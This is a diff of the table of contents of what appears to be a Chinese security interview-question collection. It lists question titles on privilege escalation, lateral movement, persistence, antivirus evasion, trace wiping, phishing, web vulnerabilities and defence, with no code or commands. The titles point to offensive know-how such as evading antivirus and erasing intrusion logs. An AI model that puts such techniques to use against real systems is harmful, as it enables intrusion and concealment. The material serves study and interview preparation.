- [12.2 讲一下 CC1-7 的原理](Chapter14/14-2.md)
|
||||||
- [7.17 SSRF 防御方法](Chapter7/7-17.md)
|
- [12.3 BECL 利用链使用条件及原理](Chapter14/14-3.md)
|
||||||
- [7.18 XXE 防御方法](Chapter7/7-18.md)
|
- [12.4 BCEL 可以用其他类加载器吗](Chapter14/14-4.md)
|
||||||
- [7.19 文件上传防御方法](Chapter7/7-19.md)
|
- [12.5 了解 JEP290 的原理吗](Chapter14/14-5.md)
|
||||||
- [7.20 CS 流量特征](Chapter7/7-20.md)
|
- [12.6 讲下 RMI 原理以及相关的漏洞](Chapter14/14-6.md)
|
||||||
- [7.21 WebShell 工具流量特征](Chapter7/7-21.md)
|
- [12.7 JdbcRowSetImpl 如何触发的 JNDI 注入](Chapter14/14-7.md)
|
||||||
- [7.22 日志被删除如何排查](Chapter7/7-22.md)
|
- [12.8 CC 链四个 Transformer 区别](Chapter14/14-8.md)
|
||||||
- [7.23 常见加固手段](Chapter7/7-23.md)
|
- [12.9 反序列化除了readObject 还有什么触发点](Chapter14/14-9.md)
|
||||||
- [7.24 挖矿病毒特征](Chapter7/7-24.md)
|
- [12.10 讲讲 IIOP 和 T3 反序列化原理](Chapter14/14-10.md)
|
||||||
- [7.25 挖矿病毒应急思路](Chapter7/7-25.md)
|
- [12.11 Java invoke 反射具体利用](Chapter14/14-11.md)
|
||||||
- [7.26 如何判断钓鱼邮件](Chapter7/7-26.md)
|
- [13. 权限提升](Chapter15/README.md)
|
||||||
- [7.27 暴露面梳理怎么做](Chapter7/7-27.md)
|
- [13.1 LM Hash 加密算法过程](Chapter15/15-1.md)
|
||||||
- [7.28 netstat 和 ss 命令的区别](Chapter7/7-28.md)
|
- [13.2 与 SMB 协议相关的漏洞有哪些](Chapter15/15-2.md)
|
||||||
- [7.29 Windows 日志存储位置](Chapter7/7-29.md)
|
- [13.3 脏牛漏洞提权原理](Chapter15/15-3.md)
|
||||||
- [7.30 云产品的应急思路](Chapter7/7-30.md)
|
- [13.4 黄金票据和白银票据区别](Chapter15/15-4.md)
|
||||||
- [7.31 DNS 重绑定漏洞原理](Chapter7/7-31.md)
|
- [13.5 读取不到 hash 怎么绕过](Chapter15/15-5.md)
|
||||||
- [7.32 Token 和 Referer 的安全等级谁高](Chapter7/7-32.md)
|
- [13.6 现在有一台 Windows Server 2008 如何提权](Chapter15/15-6.md)
|
||||||
- [7.33 任意文件下载漏洞防御方法](Chapter7/7-33.md)
|
- [13.7 提权时选择可读写目录,为何尽量不用带空格的目录](Chapter15/15-7.md)
|
||||||
- [7.34 怎么修改 TTL 值](Chapter7/7-34.md)
|
- [13.8 对于不能直接上传而只能通过命令行执行的 Shell 怎么办](Chapter15/15-8.md)
|
||||||
- [7.35 Linux 怎么查看程序调用了哪些文件](Chapter7/7-35.md)
|
- [13.9 psexec 和 wmic 区别](Chapter15/15-9.md)
|
||||||
- [7.36 CMD 命令行如何查询远程终端开放端口](Chapter7/7-36.md)
|
- [13.10 内网抓取密码的话怎么抓](Chapter15/15-10.md)
|
||||||
- [7.37 查看服务器是否存在可疑账号、新增账号](Chapter7/7-37.md)
|
- [13.11 内网有杀软又怎么抓](Chapter15/15-11.md)
|
||||||
- [7.38 查看服务器是否存在隐藏账号、克隆账号](Chapter7/7-38.md)
|
- [13.12 操作系统什么版本之后抓不到密码](Chapter15/15-12.md)
|
||||||
- [7.39 SQL 注入用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符怎么办](Chapter7/7-39.md)
|
- [13.13 抓不到密码怎么绕过](Chapter15/15-13.md)
|
||||||
- [7.40 有哪些 SQL 语句无法使用预编译的方式](Chapter7/7-40.md)
|
- [13.14 桌面有管理员会话,怎么做会话劫持](Chapter15/15-14.md)
|
||||||
- [7.41 SYN 开放链接原理](Chapter7/7-41.md)
|
- [13.15 当前机器上有一个密码本但被加密了,应该怎么办](Chapter15/15-15.md)
|
||||||
- [7.42 了解 Linux /proc 目录吗](Chapter7/7-42.md)
|
- [13.16 Dcom 怎么操作](Chapter15/15-16.md)
|
||||||
- [7.43 如何监控 Linux 文件操作](Chapter7/7-43.md)
|
- [13.17 获取域控的方法有哪些](Chapter15/15-17.md)
|
||||||
- [7.44 Windows Defender 安全机制](Chapter7/7-44.md)
|
- [13.18 DLL 劫持原理](Chapter15/15-18.md)
|
||||||
- [7.45 什么是 TCP 粘包/拆包](Chapter7/7-45.md)
|
- [13.19 DPAPI 机制能干嘛](Chapter15/15-19.md)
|
||||||
- [7.46 session 的工作原理](Chapter7/7-46.md)
|
- [13.20 MS14-068 原理](Chapter15/15-20.md)
|
||||||
- [7.47 HTTP 长连接和短连接的区别](Chapter7/7-47.md)
|
- [13.21 内网文件 exe 落地怎么去做,用什么命令去执行来落地](Chapter15/15-21.md)
|
||||||
- [7.48 Xrange() 和 range() 返回的是什么](Chapter7/7-48.md)
|
- [13.22 DB 文件如何解密,原理是什么](Chapter15/15-22.md)
|
||||||
- [7.49 怎么防重放攻击](Chapter7/7-49.md)
|
- [13.23 PTH 中 LM hash 和 NTLM hash 的区别](Chapter15/15-23.md)
|
||||||
- [7.50 讲讲 SYN FLOOD 原理,防御,检测手段](Chapter7/7-50.md)
|
- [13.24 Print Nightmare 漏洞分析](Chapter15/15-24.md)
|
||||||
- [7.51 讲讲 UDP 反射放大的原理,防御,检测手段](Chapter7/7-51.md)
|
- [13.25 CS 域前置的原理](Chapter15/15-25.md)
|
||||||
- [8. 内网穿透](Chapter8/README.md)
|
- [13.26 CS 流量是怎么通信的](Chapter15/15-26.md)
|
||||||
- [8.1 正向代理和反向代理区别](Chapter8/8-1.md)
|
- [13.27 土豆家族提权原理](Chapter15/15-27.md)
|
||||||
- [8.2 如何进行内网穿透](Chapter8/8-2.md)
|
- [13.28 UAC 怎么绕过](Chapter15/15-28.md)
|
||||||
- [8.3 如何隐藏 CS 流量](Chapter8/8-3.md)
|
- [13.29 如何在没有 /tmp 写入权限的情况下,寻找替代的、可执行文件的临时存放位置](Chapter15/15-29.md)
|
||||||
- [8.4 ICMP 隧道的流量特征](Chapter8/8-4.md)
|
- [13.30 exploit 无法直接在目标机上编译,你有哪些跨平台编译或利用预编译二进制文件的策略](Chapter15/15-30.md)
|
||||||
- [8.5 代理转发常用的工具有哪些](Chapter8/8-5.md)
|
- [13.31 如何利用 Python 的环境特性在不修改原脚本的前提下,劫持程序执行流程并获取 Root Shell](Chapter15/15-31.md)
|
||||||
- [8.6 目标机器 Ping 不通外网,没有办法走网络层协议如何搭建隧道](Chapter8/8-6.md)
|
- [13.32 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权](Chapter15/15-32.md)
|
||||||
- [8.7 内网的多级代理用什么东西代理](Chapter8/8-7.md)
|
- [13.33 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权](Chapter15/15-33.md)
|
||||||
- [8.8 如果 TCP 和 UDP 不出网怎么绕过](Chapter8/8-8.md)
|
- [13.34 如果发现某个二进制文件设置了 SUID,你该如何快速判断它是否可以被用来提权](Chapter15/15-34.md)
|
||||||
- [8.9 多级代理如何做一个 CDN 进行中转](Chapter8/8-9.md)
|
- [13.35 除了 Python,请再给出一种在环境中没有安装 Python 时升级 TTY 的方法](Chapter15/15-35.md)
|
||||||
- [8.10 内网有 ACL 策略,如果是白名单如何绕过](Chapter8/8-10.md)
|
- [13.36 请简述 udev 提权漏洞的基本原理](Chapter15/15-36.md)
|
||||||
- [9. 权限维持](Chapter9/README.md)
|
- [14. 横向移动](Chapter5/README.md)
|
||||||
- [9.1 怎么建立隐藏用户](Chapter9/9-1.md)
|
- [14.1 常见横向方法](Chapter5/5-1.md)
|
||||||
- [9.2 360 开启了晶核模式,怎么去尝试权限维持](Chapter9/9-2.md)
|
- [14.2 CS 上线不出网机器用到的什么类型的 Beacon](Chapter5/5-2.md)
|
||||||
- [9.3 计划任务被拦截了怎么办](Chapter9/9-3.md)
|
- [14.3 PTT 有哪些攻击方法](Chapter5/5-3.md)
|
||||||
- [9.4 说说 PAM 软连接提权 / 后门原理](Chapter9/9-4.md)
|
- [14.4 DCSync 的利用条件](Chapter5/5-4.md)
|
||||||
- [9.5 如何不记录执行命令](Chapter9/9-5.md)
|
- [14.5 横向渗透命令执行手段](Chapter5/5-5.md)
|
||||||
- [10. SSRF](Chapter10/README.md)
|
- [14.6 PTH、PTT、PTK 三者区别](Chapter5/5-6.md)
|
||||||
- [10.1 SSRF 漏洞存在位置](Chapter10/10-1.md)
|
- [14.7 一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去](Chapter5/5-7.md)
|
||||||
- [10.2 SSRF 漏洞绕过方法](Chapter10/10-2.md)
|
- [14.8 说说域内委派](Chapter5/5-8.md)
|
||||||
- [10.3 SSRF 漏洞利用方式](Chapter10/10-3.md)
|
- [14.9 怎么定位域管曾经登录哪些机器](Chapter5/5-9.md)
|
||||||
- [10.4 SSRF 如何攻击内网服务](Chapter10/10-4.md)
|
- [14.10 现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内,请问这种情况怎么进入域中找到域控](Chapter5/5-10.md)
|
||||||
- [10.5 如何判断 SSRF 的流量是否攻击成功](Chapter10/10-5.md)
|
- [14.11 利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件](Chapter5/5-11.md)
|
||||||
- [10.6 SSRF 怎么用 Redis 写 Shell](Chapter10/10-6.md)
|
- [14.12 继上题,Responder 应该开在哪台机器上,为什么](Chapter5/5-12.md)
|
||||||
- [11. XXE](Chapter11/README.md)
|
- [14.13 继上题,为什么 ADCS 这个漏洞能获取域管理员权限,原理是什么](Chapter5/5-13.md)
|
||||||
- [11.1 XXE 漏洞利用方式](Chapter11/11-1.md)
|
- [14.14 如果拿到了一套 vCenter 的权限,如何去进一步深入利用](Chapter5/5-14.md)
|
||||||
- [11.2 XXE 盲注思路](Chapter11/11-2.md)
|
- [14.15 拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办](Chapter5/5-15.md)
|
||||||
- [11.3 PCDATA 和 CDATA 的区别](Chapter11/11-3.md)
|
- [14.16 Kerberos 的原理](Chapter5/5-16.md)
|
||||||
- [12. 文件上传漏洞](Chapter12/README.md)
|
- [14.17 Flannel、Calico 和 Cilium 有什么区别](Chapter5/5-17.md)
|
||||||
- [12.1 文件上传漏洞绕过方法](Chapter12/12-1.md)
|
- [15. 权限维持](Chapter9/README.md)
|
||||||
- [13. RCE](Chapter13/README.md)
|
- [15.1 怎么建立隐藏用户](Chapter9/9-1.md)
|
||||||
- [13.1 代码执行、命令执行的函数有哪些](Chapter13/13-1.md)
|
- [15.2 360 开启了晶核模式,怎么去尝试权限维持](Chapter9/9-2.md)
|
||||||
- [13.2 正向 Shell 和反向 Shell 区别](Chapter13/13-2.md)
|
- [15.3 计划任务被拦截了怎么办](Chapter9/9-3.md)
|
||||||
- [13.3 如何从非交互的 Shell 提升为交互 Shell](Chapter13/13-3.md)
|
- [15.4 说说 PAM 软连接提权 / 后门原理](Chapter9/9-4.md)
|
||||||
- [13.4 PHP disable_functions() 绕过方法](Chapter13/13-4.md)
|
- [15.5 如何不记录执行命令](Chapter9/9-5.md)
|
||||||
- [13.5 PHP 的 %00 截断的原理](Chapter13/13-5.md)
|
- [16. 内网穿透](Chapter8/README.md)
|
||||||
- [13.6 站库分离怎么拿 Shell](Chapter13/13-6.md)
|
- [16.1 正向代理和反向代理区别](Chapter8/8-1.md)
|
||||||
- [14. 反序列化漏洞](Chapter14/README.md)
|
- [16.2 如何进行内网穿透](Chapter8/8-2.md)
|
||||||
- [14.1 CC1、CC6 区别](Chapter14/14-1.md)
|
- [16.3 如何隐藏 CS 流量](Chapter8/8-3.md)
|
||||||
- [14.2 讲一下 CC1-7 的原理](Chapter14/14-2.md)
|
- [16.4 ICMP 隧道的流量特征](Chapter8/8-4.md)
|
||||||
- [14.3 BECL 利用链使用条件及原理](Chapter14/14-3.md)
|
- [16.5 代理转发常用的工具有哪些](Chapter8/8-5.md)
|
||||||
- [14.4 BCEL 可以用其他类加载器吗](Chapter14/14-4.md)
|
- [16.6 目标机器 Ping 不通外网,没有办法走网络层协议如何搭建隧道](Chapter8/8-6.md)
|
||||||
- [14.5 了解 JEP290 的原理吗](Chapter14/14-5.md)
|
- [16.7 内网的多级代理用什么东西代理](Chapter8/8-7.md)
|
||||||
- [14.6 讲下 RMI 原理以及相关的漏洞](Chapter14/14-6.md)
|
- [16.8 如果 TCP 和 UDP 不出网怎么绕过](Chapter8/8-8.md)
|
||||||
- [14.7 JdbcRowSetImpl 如何触发的 JNDI 注入](Chapter14/14-7.md)
|
- [16.9 多级代理如何做一个 CDN 进行中转](Chapter8/8-9.md)
|
||||||
- [14.8 CC 链四个 Transformer 区别](Chapter14/14-8.md)
|
- [16.10 内网有 ACL 策略,如果是白名单如何绕过](Chapter8/8-10.md)
|
||||||
- [14.9 反序列化除了readObject 还有什么触发点](Chapter14/14-9.md)
|
- [17. 蓝队防守](Chapter7/README.md)
|
||||||
- [14.10 讲讲 IIOP 和 T3 反序列化原理](Chapter14/14-10.md)
|
- [17.1 内存马查杀思路](Chapter7/7-1.md)
|
||||||
- [14.11 Java invoke 反射具体利用](Chapter14/14-11.md)
|
- [17.2 Linux 日志存放位置](Chapter7/7-2.md)
|
||||||
- [15. 权限提升](Chapter15/README.md)
|
- [17.3 常见 Windows 事件 ID](Chapter7/7-3.md)
|
||||||
- [15.1 LM Hash 加密算法过程](Chapter15/15-1.md)
|
- [17.4 为什么 aspx 木马的权限会比 asp 木马的权限更高](Chapter7/7-4.md)
|
||||||
- [15.2 与 SMB 协议相关的漏洞有哪些](Chapter15/15-2.md)
|
- [17.5 如何判断 Log4j 攻击成功](Chapter7/7-5.md)
|
||||||
- [15.3 脏牛漏洞提权原理](Chapter15/15-3.md)
|
- [17.6 给你一个告警的内网 IP,怎么快速定位到他在哪栋楼哪层](Chapter7/7-6.md)
|
||||||
- [15.4 黄金票据和白银票据区别](Chapter15/15-4.md)
|
- [17.7 SQL 注入防御方法](Chapter7/7-7.md)
|
||||||
- [15.5 读取不到 hash 怎么绕过](Chapter15/15-5.md)
|
- [17.8 设备上数万条告警怎么快速找到攻击成功的告警](Chapter7/7-8.md)
|
||||||
- [15.6 现在有一台 Windows Server 2008 如何提权](Chapter15/15-6.md)
|
- [17.9 WebShell 查杀后仍有流量怎么办](Chapter7/7-9.md)
|
||||||
- [15.7 提权时选择可读写目录,为何尽量不用带空格的目录](Chapter15/15-7.md)
|
- [17.10 拿到攻击者 IP 怎么溯源](Chapter7/7-10.md)
|
||||||
- [15.8 对于不能直接上传而只能通过命令行执行的 Shell 怎么办](Chapter15/15-8.md)
|
- [17.11 内网报警处理方式](Chapter7/7-11.md)
|
||||||
- [15.9 psexec 和 wmic 区别](Chapter15/15-9.md)
|
- [17.12 怎样从日志找 WebShell 位置](Chapter7/7-12.md)
|
||||||
- [15.10 内网抓取密码的话怎么抓](Chapter15/15-10.md)
|
- [17.13 常见日志分析工具](Chapter7/7-13.md)
|
||||||
- [15.11 内网有杀软又怎么抓](Chapter15/15-11.md)
|
- [17.14 网页挂马排查思路](Chapter7/7-14.md)
|
||||||
- [15.12 操作系统什么版本之后抓不到密码](Chapter15/15-12.md)
|
- [17.15 XSS 防御方法](Chapter7/7-15.md)
|
||||||
- [15.13 抓不到密码怎么绕过](Chapter15/15-13.md)
|
- [17.16 CSRF 防御方法](Chapter7/7-16.md)
|
||||||
- [15.14 桌面有管理员会话,怎么做会话劫持](Chapter15/15-14.md)
|
- [17.17 SSRF 防御方法](Chapter7/7-17.md)
|
||||||
- [15.15 当前机器上有一个密码本但被加密了,应该怎么办](Chapter15/15-15.md)
|
- [17.18 XXE 防御方法](Chapter7/7-18.md)
|
||||||
- [15.16 Dcom 怎么操作](Chapter15/15-16.md)
|
- [17.19 文件上传防御方法](Chapter7/7-19.md)
|
||||||
- [15.17 获取域控的方法有哪些](Chapter15/15-17.md)
|
- [17.20 CS 流量特征](Chapter7/7-20.md)
|
||||||
- [15.18 DLL 劫持原理](Chapter15/15-18.md)
|
- [17.21 WebShell 工具流量特征](Chapter7/7-21.md)
|
||||||
- [15.19 DPAPI 机制能干嘛](Chapter15/15-19.md)
|
- [17.22 日志被删除如何排查](Chapter7/7-22.md)
|
||||||
- [15.20 MS14-068 原理](Chapter15/15-20.md)
|
- [17.23 常见加固手段](Chapter7/7-23.md)
|
||||||
- [15.21 内网文件 exe 落地怎么去做,用什么命令去执行来落地](Chapter15/15-21.md)
|
- [17.24 挖矿病毒特征](Chapter7/7-24.md)
|
||||||
- [15.22 DB 文件如何解密,原理是什么](Chapter15/15-22.md)
|
- [17.25 挖矿病毒应急思路](Chapter7/7-25.md)
|
||||||
- [15.23 PTH 中 LM hash 和 NTLM hash 的区别](Chapter15/15-23.md)
|
- [17.26 如何判断钓鱼邮件](Chapter7/7-26.md)
|
||||||
- [15.24 Print Nightmare 漏洞分析](Chapter15/15-24.md)
|
- [17.27 暴露面梳理怎么做](Chapter7/7-27.md)
|
||||||
- [15.25 CS 域前置的原理](Chapter15/15-25.md)
|
- [17.28 netstat 和 ss 命令的区别](Chapter7/7-28.md)
|
||||||
- [15.26 CS 流量是怎么通信的](Chapter15/15-26.md)
|
- [17.29 Windows 日志存储位置](Chapter7/7-29.md)
|
||||||
- [15.27 土豆家族提权原理](Chapter15/15-27.md)
|
- [17.30 云产品的应急思路](Chapter7/7-30.md)
|
||||||
- [15.28 UAC 怎么绕过](Chapter15/15-28.md)
|
- [17.31 DNS 重绑定漏洞原理](Chapter7/7-31.md)
|
||||||
- [15.29 如何在没有 /tmp 写入权限的情况下,寻找替代的、可执行文件的临时存放位置](Chapter15/15-29.md)
|
- [17.32 Token 和 Referer 的安全等级谁高](Chapter7/7-32.md)
|
||||||
- [15.30 exploit 无法直接在目标机上编译,你有哪些跨平台编译或利用预编译二进制文件的策略](Chapter15/15-30.md)
|
- [17.33 任意文件下载漏洞防御方法](Chapter7/7-33.md)
|
||||||
- [15.31 如何利用 Python 的环境特性在不修改原脚本的前提下,劫持程序执行流程并获取 Root Shell](Chapter15/15-31.md)
|
- [17.34 怎么修改 TTL 值](Chapter7/7-34.md)
|
||||||
- [15.32 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权](Chapter15/15-32.md)
|
- [17.35 Linux 怎么查看程序调用了哪些文件](Chapter7/7-35.md)
|
||||||
- [15.33 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权](Chapter15/15-33.md)
|
- [17.36 CMD 命令行如何查询远程终端开放端口](Chapter7/7-36.md)
|
||||||
- [16. 文件包含漏洞](Chapter16/README.md)
|
- [17.37 查看服务器是否存在可疑账号、新增账号](Chapter7/7-37.md)
|
||||||
- [16.1 常用的协议有哪些](Chapter16/16-1.md)
|
- [17.38 查看服务器是否存在隐藏账号、克隆账号](Chapter7/7-38.md)
|
||||||
- [16.2 怎么 GetShell](Chapter16/16-2.md)
|
- [17.39 SQL 注入用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符怎么办](Chapter7/7-39.md)
|
||||||
- [17. MongoDB 注入](Chapter17/README.md)
|
- [17.40 有哪些 SQL 语句无法使用预编译的方式](Chapter7/7-40.md)
|
||||||
- [17.1 MongoDB 注入方式](Chapter17/17-1.md)
|
- [17.41 SYN 开放链接原理](Chapter7/7-41.md)
|
||||||
- [18. CORS](Chapter18/README.md)
|
- [17.42 了解 Linux /proc 目录吗](Chapter7/7-42.md)
|
||||||
- [18.1 CORS 利用方式](Chapter18/18-1.md)
|
- [17.43 如何监控 Linux 文件操作](Chapter7/7-43.md)
|
||||||
- [19. 远控免杀](Chapter19/README.md)
|
- [17.44 Windows Defender 安全机制](Chapter7/7-44.md)
|
||||||
- [19.1 ShellCode 免杀方法](Chapter19/19-1.md)
|
- [17.45 什么是 TCP 粘包/拆包](Chapter7/7-45.md)
|
||||||
- [19.2 如何去过国内的杀软](Chapter19/19-2.md)
|
- [17.46 session 的工作原理](Chapter7/7-46.md)
|
||||||
- [19.3 分离免杀和单体免杀有啥区别,为什么要分离](Chapter19/19-3.md)
|
- [17.47 HTTP 长连接和短连接的区别](Chapter7/7-47.md)
|
||||||
- [19.4 做过其他免杀吗,比如结合 CS 和 MSF 的](Chapter19/19-4.md)
|
- [17.48 Xrange() 和 range() 返回的是什么](Chapter7/7-48.md)
|
||||||
- [20. PHP 代码审计](Chapter20/README.md)
|
- [17.49 怎么防重放攻击](Chapter7/7-49.md)
|
||||||
- [20.1 === 和 == 的区别](Chapter20/20-1.md)
|
- [17.50 讲讲 SYN FLOOD 原理,防御,检测手段](Chapter7/7-50.md)
|
||||||
- [20.2 常见入口函数怎么找](Chapter20/20-2.md)
|
- [17.51 讲讲 UDP 反射放大的原理,防御,检测手段](Chapter7/7-51.md)
|
||||||
- [20.3 PHP 代码审计流程](Chapter20/20-3.md)
|
- [18. 远控免杀](Chapter19/README.md)
|
||||||
- [20.4 ThinkPHP 框架审计起来有什么不同](Chapter20/20-4.md)
|
- [18.1 ShellCode 免杀方法](Chapter19/19-1.md)
|
||||||
- [20.5 PHP 原生的敏感函数有哪些](Chapter20/20-5.md)
|
- [18.2 如何去过国内的杀软](Chapter19/19-2.md)
|
||||||
- [20.6 反序列化时有哪些魔术方法是可以作为一个入手点去找的](Chapter20/20-6.md)
|
- [18.3 分离免杀和单体免杀有啥区别,为什么要分离](Chapter19/19-3.md)
|
||||||
- [20.7 常见的路由方法](Chapter20/20-7.md)
|
- [18.4 做过其他免杀吗,比如结合 CS 和 MSF 的](Chapter19/19-4.md)
|
||||||
- [20.8 介绍下 PHP 的变量覆盖](Chapter20/20-8.md)
|
- [18.5 WebShell 免杀方式有哪些](Chapter19/19-5.md)
|
||||||
- [20.9 远程文件包含和本地文件包含这两种涉及的 PHP 设置有什么](Chapter20/20-9.md)
|
- [19. 痕迹清除](Chapter24/README.md)
|
||||||
- [20.10 本地文件包含能不能通过 PHP 配置限制文件包含的路径](Chapter20/20-10.md)
|
- [19.1 清理日志要清理哪些](Chapter24/24-1.md)
|
||||||
- [20.11 PHP 在做 SQL 注入防御时有哪些方法](Chapter20/20-11.md)
|
- [19.2 如何删除 Linux 机器的入侵痕迹](Chapter24/24-2.md)
|
||||||
- [20.12 如果审计到了一个文件下载漏洞如何深入的去利用](Chapter20/20-12.md)
|
- [20. 钓鱼社工](Chapter25/README.md)
|
||||||
- [20.13 讲讲 Fortity 等代码审计工具原理](Chapter20/20-13.md)
|
- [20.1 钓鱼方法除了 exe 这种双击的还有什么](Chapter25/25-1.md)
|
||||||
- [21. JAVA 代码审计](Chapter21/README.md)
|
- [20.2 钓鱼上线的主机如何进行利用](Chapter25/25-2.md)
|
||||||
- [21.1 JAVA 在做 SQL 注入防御时有哪些方法](Chapter21/21-1.md)
|
- [20.3 伪造电子邮件的原理](Chapter25/25-3.md)
|
||||||
- [22. 操作系统](Chapter22/README.md)
|
- [21. PHP 代码审计](Chapter20/README.md)
|
||||||
- [22.1 进程和线程内存空间的关系](Chapter22/22-1.md)
|
- [21.1 === 和 == 的区别](Chapter20/20-1.md)
|
||||||
- [22.2 介绍下父子进程](Chapter22/22-2.md)
|
- [21.2 常见入口函数怎么找](Chapter20/20-2.md)
|
||||||
- [22.3 孤儿进程和僵尸进程区别](Chapter22/22-3.md)
|
- [21.3 PHP 代码审计流程](Chapter20/20-3.md)
|
||||||
- [22.4 Kill 一个进程的时候都发生了那些事情,从父子进程角度讲](Chapter22/22-4.md)
|
- [21.4 ThinkPHP 框架审计起来有什么不同](Chapter20/20-4.md)
|
||||||
- [22.5 Linux 开机自启动方式](Chapter22/22-5.md)
|
- [21.5 PHP 原生的敏感函数有哪些](Chapter20/20-5.md)
|
||||||
- [22.6 Linux 有哪些系统调用](Chapter22/22-6.md)
|
- [21.6 反序列化时有哪些魔术方法是可以作为一个入手点去找的](Chapter20/20-6.md)
|
||||||
- [22.7 说说 Linux 下的 Syscall](Chapter22/22-7.md)
|
- [21.7 常见的路由方法](Chapter20/20-7.md)
|
||||||
- [23. 逆向破解](Chapter23/README.md)
|
- [21.8 介绍下 PHP 的变量覆盖](Chapter20/20-8.md)
|
||||||
- [23.1 恶意样本给出函数家族的 md5,如何进行分类](Chapter23/23-1.md)
|
- [21.9 远程文件包含和本地文件包含这两种涉及的 PHP 设置有什么](Chapter20/20-9.md)
|
||||||
- [23.2 Linux 程序分为哪几个段](Chapter23/23-2.md)
|
- [21.10 本地文件包含能不能通过 PHP 配置限制文件包含的路径](Chapter20/20-10.md)
|
||||||
- [23.3 .data 段存放哪些数据](Chapter23/23-3.md)
|
- [21.11 PHP 在做 SQL 注入防御时有哪些方法](Chapter20/20-11.md)
|
||||||
- [23.4 .bss 段存放哪些数据](Chapter23/23-4.md)
|
- [21.12 如果审计到了一个文件下载漏洞如何深入的去利用](Chapter20/20-12.md)
|
||||||
- [23.5 函数调用时的流程,参数如何传入以及寄存器、栈的变化](Chapter23/23-5.md)
|
- [21.13 讲讲 Fortity 等代码审计工具原理](Chapter20/20-13.md)
|
||||||
- [23.6 解释程序的编译和链接,编译的过程中会有哪些操作](Chapter23/23-6.md)
|
- [22. JAVA 代码审计](Chapter21/README.md)
|
||||||
- [23.7 说说 If/Else 语法树](Chapter23/23-7.md)
|
- [22.1 JAVA 在做 SQL 注入防御时有哪些方法](Chapter21/21-1.md)
|
||||||
- [23.8 如何比较两个 C 函数的相似度](Chapter23/23-8.md)
|
- [23. 操作系统](Chapter22/README.md)
|
||||||
- [23.9 什么情况下源代码与 IDA 反编译程序的代码差别很大](Chapter23/23-9.md)
|
- [23.1 进程和线程内存空间的关系](Chapter22/22-1.md)
|
||||||
- [23.10 面对静态编译的大型木马如何通过 IDA 定位其网络传输部分的逻辑](Chapter23/23-10.md)
|
- [23.2 介绍下父子进程](Chapter22/22-2.md)
|
||||||
- [23.11 如何动态地去找导入表](Chapter23/23-11.md)
|
- [23.3 孤儿进程和僵尸进程区别](Chapter22/22-3.md)
|
||||||
- [23.12 如何不在编码时直接导入相关 API 的前提下进行攻击](Chapter23/23-12.md)
|
- [23.4 Kill 一个进程的时候都发生了那些事情,从父子进程角度讲](Chapter22/22-4.md)
|
||||||
- [23.13 Windows 下有哪些常用的反调试技术](Chapter23/23-13.md)
|
- [23.5 Linux 开机自启动方式](Chapter22/22-5.md)
|
||||||
- [23.14 单步执行的原理是什么](Chapter23/23-14.md)
|
- [23.6 Linux 有哪些系统调用](Chapter22/22-6.md)
|
||||||
- [23.15 在内存中已 Load 的程序如何快速找到其具有执行权限的段](Chapter23/23-15.md)
|
- [23.7 说说 Linux 下的 Syscall](Chapter22/22-7.md)
|
||||||
- [23.16 恶意软件有哪些方案检测自己处于沙箱中](Chapter23/23-16.md)
|
- [24. 二进制](Chapter26/README.md)
|
||||||
- [23.17 做一个反汇编器,指令集 opcode 的意义去哪查](Chapter23/23-17.md)
|
- [24.1 工控场景的入侵检测与普通场景入侵检测的区别](Chapter26/26-1.md)
|
||||||
- [23.18 怎么识别指令跳转条件和内存访问](Chapter23/23-18.md)
|
- [24.2 讲讲 Linux 平台的漏洞缓解机制](Chapter26/26-2.md)
|
||||||
- [23.19 做一个沙箱,有什么需要重定向的](Chapter23/23-19.md)
|
- [24.3 NX 是怎么绕过的](Chapter26/26-3.md)
|
||||||
- [23.20 ESP 定律原理知道吗](Chapter23/23-20.md)
|
- [24.4 讲讲 Linux 平台的 ELF 文件结构](Chapter26/26-4.md)
|
||||||
- [23.21 C++ 程序怎么去逆向找虚表](Chapter23/23-21.md)
|
- [24.5 讲讲 Windows 平台的 PE 文件结构](Chapter26/26-5.md)
|
||||||
- [23.22 进程隐藏技术是什么,如何检测](Chapter23/23-22.md)
|
- [24.6 讲讲 ASLR 怎么绕过](Chapter26/26-6.md)
|
||||||
- [23.23 如果多进程下,A 进程的 Source 触发到了 B 进程的 sink 点,如何溯源](Chapter23/23-23.md)
|
- [24.7 函数的调用约定有哪些,区别是什么](Chapter26/26-7.md)
|
||||||
- [23.24 JNDI 如何做 Hook](Chapter23/23-24.md)
|
- [24.8 fuzzing 主要是用来干嘛](Chapter26/26-8.md)
|
||||||
- [24. 痕迹清除](Chapter24/README.md)
|
- [24.9 对 Windows 平台的漏洞和保护机制了解多少](Chapter26/26-9.md)
|
||||||
- [24.1 清理日志要清理哪些](Chapter24/24-1.md)
|
- [24.10 对比一下 QEMU 模式的 Fuzzing 和源码模式的 Fuzzing](Chapter26/26-10.md)
|
||||||
- [24.2 如何删除 Linux 机器的入侵痕迹](Chapter24/24-2.md)
|
- [24.11 说说 QEMU 模式的动态插桩怎么实现的,有什么优缺点](Chapter26/26-11.md)
|
||||||
- [25. 钓鱼社工](Chapter25/README.md)
|
- [24.12 fuzz 普通程序和数据库有哪些不同点](Chapter26/26-12.md)
|
||||||
- [25.1 钓鱼方法除了 exe 这种双击的还有什么](Chapter25/25-1.md)
|
- [24.13 说说 AFL++ 和 AFL 有哪些不同](Chapter26/26-13.md)
|
||||||
- [25.2 钓鱼上线的主机如何进行利用](Chapter25/25-2.md)
|
- [24.14 怎么给 AFL 做适配去 fuzz 数据库](Chapter26/26-14.md)
|
||||||
- [25.3 伪造电子邮件的原理](Chapter25/25-3.md)
|
- [24.15 介绍一下 fuzz 的流程,从选取目标开始](Chapter26/26-15.md)
|
||||||
- [26. 二进制](Chapter26/README.md)
|
- [24.16 讲一下 AFL 的插桩原理](Chapter26/26-16.md)
|
||||||
